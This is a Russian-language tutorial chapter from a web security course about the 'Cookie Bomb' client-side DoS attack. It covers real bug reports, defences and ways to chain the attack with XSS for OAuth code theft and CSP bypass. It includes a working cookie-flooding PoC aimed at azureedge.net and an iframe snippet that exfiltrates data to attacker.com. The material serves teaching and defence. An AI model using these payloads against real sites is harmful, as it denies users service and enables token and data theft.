Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Знакомство с Cookie Bomb
  • Процесс атаки
  • Меры защиты
  • Расширение поверхности атаки
  • Поиск места для удобной установки файлов cookie
  • Make a PoC
  • Смягчение последствий
  • Еще один пример из реального мира
  • Комбинируем уязвимости с Cookie Bomb
  • Заключение
  1. Глава 4 - Межсайтовые атаки

Интересная и практичная Cookie Bomb

PreviousОт same-site до главного siteNextТо, что вы видите, это не то, что вы получаете - Clickjacking

Last updated 8 months ago

В предыдущем посте мы узнали о Cookie Tossing, который позволяет манипулировать другими доменами которые являются Same-Site, записывая куки. В этом посте мы представим еще одну технику атаки, использующую куки, называемую Cookie Bomb. Это атака типа DoS на стороне клиента, вызванная куки.

Когда мы говорим о DoS, мы можем подумать о том, что отправляется большое количество пакетов на веб-сайт, перегружая сервер и заставляя его быть неотзывчивым или исчерпывающим ресурсы. Мы также можем подумать о DDoS (Distributed Denial-of-Service), когда несколько хостов одновременно отправляют пакеты на сервер, вызывая его сбой.

Атаки DoS и DDoS на самом деле работают на разных уровнях. Эти уровни соответствуют модели OSI, о которой вы, возможно, слышали. Атаки, о которых мы обычно думаем, больше похожи на атаки на L3 сетевом уровне и L4 транспортном уровне. Однако Cookie Bomb — это атака DoS, которая существует на L7 прикладном уровне.

Например, предположим, что у веб-сайта есть API для запроса данных, и у него есть параметр _limit, чтобы указать, сколько записей должно быть возвращено, значение по умолчанию — 100. Но когда я изменяю его на 10000, я замечаю, что сервер отвечает более минуты. Поэтому я начинаю отправлять запрос каждые две секунды. По мере того как я продолжаю отправлять эти запросы, я наблюдаю, что веб-сайт становится медленнее и в конечном итоге зависает, возвращая ошибку 500 Internal Server Error. Это пример атаки DoS на прикладном уровне.

Любой метод, который предотвращает доступ пользователей к веб-сайту, можно считать атакой DoS. Метод, который мы обнаружили, основан на L7 прикладном уровне, что делает его атакой L7 DoS.

Среди различных техник атак L7 DoS есть одна, которая мне особенно интересна, и это Cookie Bomb.

Знакомство с Cookie Bomb

Чтобы выполнить атаку Cookie Bomb, необходимо иметь возможность записывать куки. Существует два основных способа достижения этого. Первый способ — это эксплуатация логики самого веб-сайта.

Например, предположим, что есть страница https://example.com/log?uid=abc. Когда вы посещаете эту страницу, она записывает uid=abc в куки. Поэтому, если вы измените URL на ?uid=xxxxxxxxxx, он запишет xxxxxxxxxx в куки. Это один из способов.

Другой способ — это тот, который упоминался в предыдущем посте, когда вы получаете контроль над поддоменом и можете выполнять JavaScript-код. Это можно достичь через захват поддомена или другими методами.

Как только вы можете записывать произвольные куки, что вы можете с ними сделать? Вы можете начать записывать в них кучу мусора.

Например, a1=o....*4000, что означает запись большого количества бессмысленного контента в куки. Здесь важно отметить, что размер куки может составлять примерно 4KB, и нам нужно как минимум два куки, что означает, что нам нужно записать 8KB данных для достижения атаки.

После того как вы записали эти куки, когда вы вернетесь на главную страницу https://example.com, согласно природе куки, все эти мусорные куки будут отправлены на сервер, верно? Теперь наступает момент, когда можно наблюдать чудо.

Вместо того чтобы отобразить обычную страницу, сервер отвечает с ошибкой: 431 Request Header Fields Too Large.

Среди различных кодов состояния HTTP есть два, связанных с тем, что запрос слишком велик:

  1. 413 Payload Too Large

  2. 431 Request Header Fields Too Large

Например, если вы заполните форму с миллионом символов и отправите ее на сервер, вы, вероятно, получите ответ 413 Payload Too Large. Как указывает сообщение об ошибке, полезная нагрузка слишком велика для обработки сервером.

То же самое касается заголовков. Когда у вас слишком много куки, поле Cookie в заголовке запроса становится большим, настолько большим, что сервер не может его обработать, что приводит к ответу 431 Request Header Fields Too Large (хотя, согласно тестированию, некоторые серверы могут отвечать другими кодами в зависимости от их реализации, например, Microsoft может ответить 400 bad request).

Поэтому, если мы можем перегрузить куки пользователя, мы можем заставить его увидеть эту страницу с ошибкой и предотвратить нормальный доступ к сервису. Это и есть Cookie Bomb — атака DoS, вызванная большим количеством куки. Основной принцип заключается в том, что "когда браузер посещает веб-страницу, он автоматически отправляет соответствующие куки вместе с ней".

Процесс атаки

Как упоминалось выше, предположим, что мы обнаружили URL https://example.com/log?uid=abc, который позволяет нам устанавливать произвольные куки. Следующие шаги таковы:

  1. Найти способ записать куки размером более 8KB (так как многие ограничения серверов находятся около 8KB).

  2. Передать этот URL цели атаки и найти способ заставить ее кликнуть по нему.

  3. Цель кликает по URL и устанавливает очень большие куки в своем браузере.

  4. Цель посещает веб-сайт https://example.com и обнаруживает, что не может увидеть никакого контента, только пустую страницу или сообщение об ошибке.

Атака успешна.

В этой ситуации, если пользователь не изменит свой браузер или куки не истекут, или не очистит куки вручную, он всегда будет находиться в этом состоянии.

Подводя итог, эта атака может нацеливаться только на конкретных пользователей и требует двух предварительных условий:

  1. Найти место, где можно установить произвольные куки.

  2. Цель должна кликнуть по URL, найденному на первом шаге.

Он нашел следующий код на сайте Twitter:

function d(a) {...        var b = document.referrer || "none",            d = "ev_redir_" + encodeURIComponent(a) + "=" + b + "; path=/";        document.cookie = d;...}...window.location.hash != "" && d(window.location.hash.substr(1).toLowerCase())

Можно увидеть, что данные из URL hash и document.referrer помещаются в куки, и document.referrer вообще не кодируется. Поэтому с помощью этой уязвимости можно записывать произвольные куки. Эксплуатируя document.referrer, можно записать очень длинные куки, что приводит к атаке Denial of Service (DoS).

Когда пользователь кликает по ссылке Cookie Bomb, он увидит страницу с ошибкой при посещении Twitter.

Подобно предыдущим двум случаям, было обнаружено, что информация из URL (например, путь или конкретная строка запроса) извлекается и записывается в куки без каких-либо ограничений по длине. Поэтому можно создать Cookie Bomb, используя очень длинный URL.

Прежде чем продолжить обсуждение поверхности атаки, давайте сначала упомянем некоторые меры защиты.

Меры защиты

Первый пункт — это не доверять пользовательскому вводу. Например, в упомянутом примере: https://example.com/log?uid=abc, abc не должно быть записано напрямую в куки. Вместо этого следует проводить базовые проверки, такие как проверка формата или длины, чтобы предотвратить этот тип атаки.

Далее, когда я упоминал установку куки с поддомена на корневой домен, многие могут подумать о следующем: "А что насчет общих поддоменов?"

Например, с функцией GitHub Pages у каждого человека домен имеет вид username.github.io. Так что, не могу ли я создать Cookie Bomb, которая повлияет на все GitHub Pages? Я могу просто создать вредоносную HTML-страницу на своем поддомене, содержащую JavaScript-код для установки куки. Затем, если я отправлю эту страницу кому-либо, и они кликнут по ней, они не смогут получить доступ к ресурсам *.github.io, потому что они будут отклонены сервером.

Эта гипотеза кажется обоснованной, но есть предварительное условие, которое должно быть выполнено: "Пользователи могут устанавливать куки на *.github.io для github.io." Если это условие не выполнено, Cookie Bomb не может быть реализована.

На самом деле, существует много требований, таких как "не позволять верхнему уровню домена быть затронутым настройками куки." Например, если a.com.tw может устанавливать куки для .com.tw или .tw, разве не будет много несвязанных веб-сайтов делить куки? Это явно неразумно.

Или рассмотрим веб-сайт Президентского офиса, https://www.president.gov.tw. Он не должен зависеть от веб-сайта Министерства финансов, https://www.mof.gov.tw. Поэтому .gov.tw также должен быть доменом, для которого куки не могут быть установлены.

Не знаю, помните ли вы, но мы на самом деле упоминали эту концепцию, когда говорили о Origin и Site.

Например, следующие домены находятся в этом списке:

  1. com.tw

  2. gov.tw

  3. github.io

Таким образом, ранее упомянутый пример недействителен, потому что когда я нахожусь на userA.github.io, я не могу установить куки для github.io, поэтому атака Cookie Bomb не может быть выполнена.

Расширение поверхности атаки

Существует два предварительных условия для успешности вышеупомянутых атак:

  1. Найти место, где можно установить произвольные куки.

  2. Цель должна кликнуть по URL, найденному на первом шаге.

Чтобы сделать атаку более успешной, мы можем рассмотреть следующее в отношении этих двух предварительных условий:

  1. Возможно ли легко найти это место?

  2. Возможно ли, чтобы цель была скомпрометирована без клика по ссылке?

Второй пункт можно реализовать через уязвимость, называемую Cache Poisoning.

Как следует из названия, эта уязвимость связана с загрязнением содержимого в кэше. Например, многие веб-сайты имеют кэши, и разные пользователи могут получать доступ к одному и тому же кэшу. В этом случае я могу найти способ заставить сервер кэша сохранить поврежденный ответ. Таким образом, все другие пользователи также получат поврежденный файл и увидят одно и то же сообщение об ошибке.

Таким образом, цель может быть скомпрометирована без клика по каким-либо ссылкам, и атака расширяется с одного человека на всех.

Теперь давайте рассмотрим первый пункт: "Возможно ли легко найти это место?".

Поиск места для удобной установки файлов cookie

Есть ли место, где мы можем легко установить куки для выполнения Cookie Bomb?

Да, это общие поддомены, упомянутые ранее, такие как *.github.io.

Но разве эти домены уже не находятся в списке public suffix?

Они не могут устанавливать куки.

Просто найдите тот, который не находится в списке!

Однако это не простая задача, потому что вы обнаружите, что большинство известных вам сервисов уже зарегистрированы. Например, GitHub, AmazonS3, Heroku и Netlify уже находятся в списке.

Но я нашел один, который не находится в списке, и это Azure CDN, предоставляемый Microsoft: azureedge.net.

Не знаю почему, но этот домен не принадлежит к public suffix, так что если я создам свой собственный CDN, я смогу выполнить Cookie Bomb.

Make a PoC

const domain = 'azureedge.net';
const cookieCount = 40;
const cookieLength = 3000;
const expireAfterMinute = 5;

setCookieBomb();

function setCookie(key, value) {
  const expires = new Date(+new Date() + expireAfterMinute * 60 * 1000);
  document.cookie = key + '=' + value + '; path=/; domain=' + domain + '; Secure; SameSite=None; expires=' + expires.toUTCString();
}

function setCookieBomb() {
  const value = 'Boring' + '_'.repeat(cookieLength);
  for (let i = 0; i < cookieCount; i++) {
    setCookie('key' + i, value);
  }
}

Далее, загрузите файл на Azure и настройте CDN.

После клика по нему будет установлено множество мусорных куки на azureedge.net:

После обновления вы обнаружите, что веб-сайт больше недоступен:

Это означает, что Cookie Bomb была успешной.

Таким образом, все ресурсы, размещенные на azureedge.net, будут затронуты.

На самом деле, Azure CDN имеет возможность использовать пользовательские домены, так что если вы используете пользовательский домен, вы не будете затронуты. Однако некоторые веб-сайты не используют пользовательские домены и напрямую используют azureedge.net в качестве URL.

Смягчение последствий

Лучшей мерой смягчения является использование пользовательского домена вместо стандартного azureedge.net. Таким образом, вы избежите проблемы с Cookie Bomb. Но помимо пользовательских доменов, azureedge.net должен быть зарегистрирован как public suffix, чтобы действительно решить проблему.

Помимо этих двух мер защиты, есть еще одна, о которой вы, возможно, не подумали.

Как фронтенд-инженеры, мы обычно включаем ресурсы таким образом:

<script src="htps://test.azureedge.net/bundle.js"></script>

Просто добавьте атрибут crossorigin:

<script src="htps://test.azureedge.net/bundle.js" crossorigin></script>

Вы можете избежать атак Cookie Bomb, используя атрибут crossorigin при выполнении запросов. По умолчанию, при отправке запроса куки включаются. Однако, если вы используете атрибут crossorigin и выполняете Cross-Origin запрос таким образом, куки не будут включены по умолчанию. Это предотвращает возникновение проблемы "header too large".

Просто не забудьте настроить параметры на стороне CDN. Убедитесь, что сервер добавляет заголовок Access-Control-Allow-Origin, чтобы разрешить Cross-Origin запросы ресурсов.

Ранее я был сбит с толку, когда использовать атрибут crossorigin, но теперь я знаю один из случаев его применения. Если вы не хотите включать куки в запрос, вы можете добавить атрибут crossorigin.

Еще один пример из реального мира

Tumblr, который изначально был сосредоточен на определенной нише, но позже был приобретен Automattic, имеет специальную функцию, позволяющую пользователям настраивать CSS и JavaScript на своих личных страницах. Домен этих личных страниц имеет формат userA.tumblr.com. Поскольку tumblr.com не зарегистрирован в public suffix, он также уязвим для атак Cookie Bomb.

Если вы посетите следующий URL в Chrome или Edge, а затем обновите или перейдете на главную страницу Tumblr, вы заметите, что не можете получить к ней доступ:

Автор сообщил об этой уязвимости в Tumblr, и на следующий день получил ответ, в котором говорилось:

This behavior does not pose a concrete and exploitable risk to the platform in and on itself, as this can be fixed by clearing the cache, and is more of a nuisance than a security vulnerability.

Для некоторых компаний ущерб, причиняемый атаками Cookie Bomb, считается минимальным. Кроме того, первой жертве необходимо посетить конкретный URL, и очистка куки решает проблему. Поэтому они не считают это уязвимостью безопасности.

Ответ Microsoft аналогичен. Если атака Cookie Bomb происходит без каких-либо дополнительных уязвимостей, это не соответствует их минимальным стандартам для уязвимостей безопасности.

Итак, какие другие уязвимости можно комбинировать с атаками Cookie Bomb?

Комбинируем уязвимости с Cookie Bomb

В области кибербезопасности всегда было искусством соединять, казалось бы, мелкие проблемы в более крупную. Хотя атаки Cookie Bomb сами по себе могут не иметь большого влияния, при комбинировании с другими элементами они могут потенциально привести к серьезным уязвимостям. Например, мы ранее видели, как сайты с одинаковым происхождением могут обойти ограничения куки с одинаковым происхождением и эксплуатировать ограничения CORS через проблемы парсинга в заголовке content-type, что приводит к уязвимости CSRF.

Он обнаружил уязвимость XSS на example.com, который использовал Google OAuth для входа. Он подумал, что может использовать XSS для кражи OAuth-кода и получить прямой доступ к учетной записи пользователя, превратив это в более серьезную уязвимость захвата учетной записи.

Типичный поток OAuth выглядит следующим образом:

  1. Пользователь нажимает кнопку "Войти с Google".

  2. Веб-страница перенаправляет на https://google.com/oauth?client_id=example.

  3. Пользователь входит в систему и предоставляет разрешение на Google.

  4. Веб-страница перенаправляет на https://example.com/oauth/callback?code=123.

  5. Веб-страница далее перенаправляет на https://example.com/home, что указывает на успешный вход.

Если пользователь уже предоставил разрешение, третий шаг пропускается, и перенаправление происходит напрямую.

Проблема в том, что код можно использовать только один раз. Как только вы посетите https://example.com/oauth/callback?code=123, фронтенд или бэкенд использует код, делая любой украденный код бесполезным. Вот здесь и вступает в игру Cookie Bomb.

С уязвимостью XSS на example.com у нас есть полный контроль над страницей. Мы можем записывать куки и выполнять Cookie Bomb на пути /oauth. Затем мы можем добавить iframe с URL https://google.com/oauth?client_id=example. Когда авторизация завершится, iframe будет перенаправлен на https://example.com/oauth/callback?code=123. Из-за Cookie Bomb сервер вернет ошибку в этот момент. Мы можем получить URL iframe и получить код, убедившись, что он не был использован никем другим.

Второй случай связан с обходом CSP. Некоторые веб-сайты могут не добавлять CSP напрямую из бэкенда приложения, а вместо этого использовать обратные прокси, такие как nginx, чтобы добавлять его единообразно:

server {
    listen 80;
    server_name _;
    index index.php;
    root /www;
    location / {
        try_files $uri $uri/ /index.php?$query_string;
        add_header Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";
        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass unix:/run/php-fpm.sock;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
}

Adds the specified field to a response header provided that the response code equals 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13), or 308 (1.13.0).

Поэтому мы можем использовать Cookie Bomb для создания страницы с ошибкой, которая не имеет заголовка CSP. Некоторые могут задаться вопросом: "Но это же страница с ошибкой, так в чем смысл отсутствия CSP?"

Предположим, что на оригинальной странице установлен очень строгий CSP, где все директивы установлены на 'self', за исключением script-src, который имеет дополнительный unsafe-inline. И предположим, что мы нашли уязвимость XSS, так что мы можем выполнять код.

Но проблема в том, что наши данные не могут быть отправлены! Из-за CSP все внешние ссылки заблокированы. В этот момент мы можем использовать Cookie Bomb, чтобы сначала атаковать страницу /test, а затем поместить страницу /test в iframe.

Как только она окажется внутри iframe, из-за политики одного источника я смогу напрямую получить доступ к странице /test, которая не имеет CSP. Поэтому запросы могут быть отправлены с этой страницы, как показано в следующем примере:

<iframe id=f src="/test" onload=run()></iframe>
<script>
  function run() {
    f.contentWindow.fetch('https://attacker.com?data=...')
  }
</script>

Методы подобного рода обходят ограничения CSP, комбинируя DoS с iframes.

(Кстати, CSP в настоящее время не может достичь "блокировки всех внешних соединений". Если вам нужно только отправить запросы внешним образом, есть другие более быстрые методы, такие как использование location=... для перенаправления страницы и так далее.)

Заключение

В этой статье мы рассмотрели еще один способ использования куки в качестве средства выполнения атак DoS и предотвращения загрузки веб-страниц. Хотя эта уязвимость сама по себе не имеет значительного влияния, и многие компании не считают ее уязвимостью безопасности, при комбинировании с другими техниками она может стать более значительной уязвимостью.

В недавних статьях мы сначала поняли разницу между Origin и Site, затем изучили настройки CORS и последствия неправильных конфигураций. Мы также исследовали CSRF и куки Same-Site, а затем обсудили атаки, которые могут быть выполнены после получения контроля над Same-Site.

Термин "Cookie Bomb" возник из блога под названием опубликованного Егором Хомаковым 18 января 2014 года. Однако аналогичные техники атак уже появились в 2009 году: .

Теперь давайте рассмотрим несколько примеров из реальной жизни. Первый — это уязвимость, о которой сообщил filedescriptor в Twitter в 2015 году: .

Второй пример — это уязвимость, о которой сообщил s_p_q_r в Shopify в 2015 году:. В этом случае фронтенд-код напрямую использует информацию из URL в качестве содержимого куки. Перед записью содержимое кодируется. Например, , становится %2C, что утроит длину. Поэтому, передавая очень длинный URL, можно создать Cookie Bomb.

Последний пример — это уязвимость, о которой сообщил bihari_web в NordVPN в 2020 году: .

Когда браузер определяет, может ли он установить куки для определенного домена, он обращается к списку, называемому . Домен, который появляется в этом списке, не может напрямую устанавливать куки для своих поддоменов.

Это имеет специфический термин, называемый . Поскольку это использует кэш, это уже не связано с Cookie Bomb. Вы даже можете запустить атаку прямо со своего компьютера, не используя куки.

Код, который я использовал для демонстрации, выглядит следующим образом, он был взят за основу и модифицирован :

Первый случай, который я хочу представить, появился в докладе filedescriptor на HITCON CMT в 2019 году: .

На первый взгляд, проблем не видно. Однако, если nginx возвращает ошибку 4xx или 5xx, этот заголовок не будет добавлен к ответу. Это стандартное поведение nginx, как указано в :

Эта статья адаптирована из:

Cookie Bomb or let's break the Internet
How to use Google Analytics to DoS a client from some website
DOM based cookie bomb
[livechat.shopify.com] Cookie bomb at customer chats
Denial of Service with Cookie Bomb
public suffix list
CPDoS (Cache Poisoned Denial of Service)
here
The cookie monster in your browsers
documentation
DoS Attack Using Cookie Features: Cookie Bomb